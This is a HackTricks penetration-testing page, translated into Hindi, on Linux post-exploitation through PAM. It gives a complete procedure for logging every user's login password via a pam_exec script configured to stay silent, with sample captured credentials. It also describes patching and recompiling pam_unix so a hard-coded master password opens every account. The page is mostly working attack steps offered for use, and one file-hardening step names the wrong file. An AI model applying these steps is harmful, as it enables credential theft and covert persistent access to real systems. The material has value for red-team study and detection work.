hacktricks/linux-hardening/linux-post-exploitation
2024-01-06 23:39:22 +00:00
..
pam-pluggable-authentication-modules.md Translated ['generic-methodologies-and-resources/shells/README.md', 'lin 2024-01-06 23:39:22 +00:00
README.md Translated ['generic-methodologies-and-resources/shells/README.md', 'lin 2024-01-06 23:39:22 +00:00

Linux Post-Exploitation

AWS हैकिंग सीखें शून्य से लेकर हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ!

HackTricks का समर्थन करने के अन्य तरीके:

PAM के साथ लॉगिन पासवर्ड्स की स्निफिंग

आइए हम एक PAM मॉड्यूल को कॉन्फ़िगर करें जो हर बार जब कोई यूजर लॉगिन करता है तो पासवर्ड लॉग करेगा। यदि आपको PAM के बारे में नहीं पता है तो चेक करें:

{% content-ref url="pam-pluggable-authentication-modules.md" %} pam-pluggable-authentication-modules.md {% endcontent-ref %}

सबसे पहले, हम एक bash स्क्रिप्ट बनाते हैं जो नए प्रमाणीकरण होने पर इन्वोक की जाएगी।

#!/bin/sh
echo " $(date) $PAM_USER, $(cat -), From: $PAM_RHOST" >> /var/log/toomanysecrets.log

वेरिएबल्स PAM विशिष्ट हैं और pam_exec.so मॉड्यूल के माध्यम से उपलब्ध होंगे।

यहाँ वेरिएबल्स का अर्थ है:

  • $PAM_USER: जो उपयोगकर्ता नाम दर्ज किया गया था।
  • $PAM_RHOST: दूरस्थ होस्ट (आमतौर पर IP पता)
  • $(cat -): यह stdin को पढ़ता है, और इसमें वह पासवर्ड होगा जिसे स्क्रिप्ट ने पकड़ा है
  • परिणाम /var/log/toomanysecrets.log में एक लॉग फाइल में पाइप किए जाते हैं

सभी उपयोगकर्ताओं को फाइल पढ़ने से रोकने के लिए फाइल को पहले से बनाकर और chmod चलाकर विचार करें, उदाहरण के लिए:

sudo touch /var/log/toomanysecrets.sh
sudo chmod 770 /var/log/toomanysecrets.sh

आगे, PAM कॉन्फ़िगरेशन फ़ाइल को अपडेट करने की ज़रूरत है pam_exec मॉड्यूल का उपयोग स्क्रिप्ट को इन्वोक करने के लिए किया जाएगा।

/etc/pam.d/ में विभिन्न कॉन्फ़िग फ़ाइलें स्थित हैं, और हम common-auth का चयन करते हैं।

sudo nano /etc/pam.d/common-auth

फ़ाइल के सबसे निचले भाग में, निम्नलिखित प्रमाणीकरण मॉड्यूल जोड़ें:

auth optional pam_exec.so quiet expose_authtok /usr/local/bin/toomanysecrets.sh

विकल्पों का निम्नलिखित अर्थ है:

  • optional: यदि कोई त्रुटि हो तो प्रमाणीकरण विफल नहीं होना चाहिए (यह एक आवश्यक चरण नहीं है)
  • pam_exec.so: यह एक PAM मॉड्यूल है जो मनमानी स्क्रिप्ट्स को आमंत्रित कर सकता है
  • expose_authtok: यह वह चाल है जो stdin के माध्यम से पासवर्ड पढ़ने की अनुमति देता है
  • quiet: यदि कुछ काम नहीं करता है तो उपयोगकर्ता को कोई त्रुटियां न दिखाएं
  • अंतिम तर्क पहले बनाई गई शेल स्क्रिप्ट है

अंत में, फ़ाइल को निष्पादन योग्य बनाएं:

sudo chmod 700 /usr/local/bin/toomanysecrets.sh

अब, इसे आज़माएं और दूसरी मशीन से ssh करें, या स्थानीय रूप से लॉगिन करें।

और फिर लॉग फ़ाइल देखें:

$ sudo cat /var/log/toomanysecrets.log
Sun Jun 26 23:36:37 PDT 2022 tom, Trustno1!, From: 192.168.1.149
Sun Jun 26 23:37:53 PDT 2022 tom, Trustno1!, From:
Sun Jun 26 23:39:12 PDT 2022 tom, Trustno1!, From: 192.168.1.149

PAM में बैकडोरिंग

PAM के सोर्स कोड की ओर बढ़ते हैं (आपके डिस्ट्रो पर निर्भर करता है, अपने वर्जन नंबर का उपयोग करें..) और pam_unix_auth.c फाइल में लाइन नंबर 170/180 के आसपास देखते हैं:

vi modules/pam_unix/pam_unix_auth.c
![](<../../.gitbook/assets/image (651).png>)

इसे बदलते हैं:

![](<../../.gitbook/assets/image (638) (2) (2).png>)

यह किसी भी उपयोगकर्ता को **पासवर्ड "0xMitsurugi"** का उपयोग करके लॉग इन करने की अनुमति देगा।

`pam_unix_auth.c` को फिर से कंपाइल करें, और pam_unix.so फाइल को बदलें:
make
sudo cp \
/home/mitsurugi/PAM/pam_deb/pam-1.1.8/modules/pam_unix/.libs/pam_unix.so \
/lib/x86_64-linux-gnu/security/

{% hint style="info" %} आप इस प्रक्रिया को https://github.com/zephrax/linux-pam-backdoor के साथ स्वचालित कर सकते हैं। {% endhint %}

संदर्भ

AWS हैकिंग सीखें शून्य से लेकर हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ!

HackTricks का समर्थन करने के अन्य तरीके: